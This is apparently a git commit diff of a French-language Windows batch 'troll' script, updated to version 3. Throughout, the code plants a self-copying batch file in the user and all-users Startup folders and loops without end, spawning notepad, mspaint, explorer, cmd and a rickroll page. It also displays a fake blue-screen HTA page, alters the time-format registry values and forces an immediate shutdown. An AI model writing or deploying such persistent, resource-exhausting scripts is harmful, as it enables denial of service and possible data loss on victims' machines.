updated YOLO troll script to v3

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Albirew 2024-09-28 02:07:57 +02:00
Parent 630f54d061
révision 15dea73177
Signé par: Albirew
ID de la clé GPG: 9D72DAEB1BB933C9

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@ -1,30 +1,33 @@
@echo off
:: YOLO v2 - tu peux pas test
msg * salut a toi
msg * ceci sera ta seule chance avant de te faire pwner
:: YOLO v3 - meilleur plus dur plus rapide plus fort
set reponse=
:q
echo veux-tu te faire pwner? (oui/non)
set /p reponse=
if /i %reponse%==oui (echo C'est parti, mon kiki!) else (echo Allez, quoi... fait pas ta precieuse! & goto q)
set troll=%random%%random%.bat
cd "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
echo @echo off > lol.bat
echo setlocal ENABLEDELAYEDEXPANSION >> lol.bat
echo set lol=0 >> lol.bat
echo :pwn >> lol.bat
echo set /a lol=%%lol%%+1 >> lol.bat
echo set /a variable=%%lol%% %%%%2 >> lol.bat
echo if !variable! EQU 0 (color 0f) else (color f0) >> lol.bat
echo start http://rickrolled.fr >> lol.bat
echo start notepad.exe >> lol.bat
echo msg * NORAJ! >> lol.bat
echo start mspaint.exe >> lol.bat
echo start explorer.exe >> lol.bat
echo start cmd.exe >> lol.bat
echo GOTO pwn >> lol.bat
echo @echo off > %troll%
echo setlocal ENABLEDELAYEDEXPANSION >> %troll%
echo set troll=%%random%%%%random%%.bat >> %troll%
echo set lol=0 >> %troll%
echo :pwn >> %troll%
echo set /a lol=%%lol%%+1 >> %troll%
echo set /a variable=%%lol%% %%%%2 >> %troll%
echo if !variable! EQU 0 (color eb) else (color be) >> %troll%
echo start http://rickrolled.fr >> %troll%
echo start notepad.exe >> %troll%
echo msg * NORAJ! >> %troll%
echo start mspaint.exe >> %troll%
echo start explorer.exe >> %troll%
echo start cmd.exe >> %troll%
echo copy %%0 "%%appdata%%\Microsoft\Windows\Start Menu\Programs\Startup\%%troll%%.bat" >> %troll%
echo copy %%0 "%%allusersprofile%%\Microsoft\Windows\Start Menu\Programs\Startup\%%troll%%.bat" >> %troll%
echo start "%%appdata%%\Microsoft\Windows\Start Menu\Programs\Startup\%%troll%%.bat" >> %troll%
echo start "%%allusersprofile%%\Microsoft\Windows\Start Menu\Programs\Startup\%%troll%%.bat" >> %troll%
echo GOTO pwn >> %troll%
cd %tmp%
echo ^<html^>^<head^>^<title^>BSOD^</title^> > bsod.hta
echo. >> bsod.hta
echo ^<hta:application >> bsod.hta
@ -61,4 +64,10 @@ echo ^<p^>Contact your system administrator or technical support group for furth
echo. >> bsod.hta
echo. >> bsod.hta
echo ^</font^> >> bsod.hta
echo ^</body^>^</html^> >> bsod.hta
echo ^</body^>^</html^> >> bsod.hta
start "" "bsod.hta"
reg add "HKCU\Control Panel\international" /v s1159 /t REG_SZ /d "BatchMan (le vrai)" /f
reg add "HKCU\Control Panel\international" /v s2359 /t REG_SZ /d "BatchMan (le vrai)" /f
reg add "HKCU\Control Panel\international" /v sTimeFormat /t REG_SZ /d "HH:mm tt" /f
timeout 5 >nul
shutdown /p